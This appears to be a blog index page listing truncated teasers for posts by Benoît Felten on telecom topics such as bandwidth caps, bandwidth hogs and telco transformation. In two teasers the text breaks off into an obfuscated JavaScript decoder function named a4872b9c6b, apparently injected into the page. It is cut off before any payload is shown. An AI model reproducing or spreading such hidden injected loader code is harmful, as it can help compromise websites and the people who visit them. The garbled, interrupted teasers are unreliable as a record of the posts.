Benoît Felten on Telecom TV

In December I went over to London to do an interview with Telecom TV’s Martyn Warwick on the reality (or not) of the b

Why the Bandwidth Debate Judders On?

In December I went over to London to do an interview with Telecom TV’s Martyn Warwick on the reality (or not) of the b

The Truth about Bandwidth Caps

Last Friday I was invited to participate in a Special of This Week in Tech (aka twit) called “The Truth about B

Herding the Bandwidth Hogs

I don't think Herman and myself expected this to become so big, so fast! My post function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)

Torrent client learns to self-throttle…

I am planning a series of posts on bandwidth hogs in the coming days, since the topic has resurfaced with a vengeance

Talking about Telco Transformation on Telecom TV

Around lunchtime today I did a video interview with Martyn Warwick of Telecom TV in their ITU studio in Geneva. Last thing I did before I left

The Role of Telcos…

Lately I have been thinking hard (and discussing a lot) around the role of telcos in the decade to come. This train

Carrier Pigeons to the Business (CPTTB) ?

My colleague Wally Swain posts this morning about an interesting if somewhat fallacious experiment undergone by a disgruntled business customer of Telkom in South Africa. His piece called function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else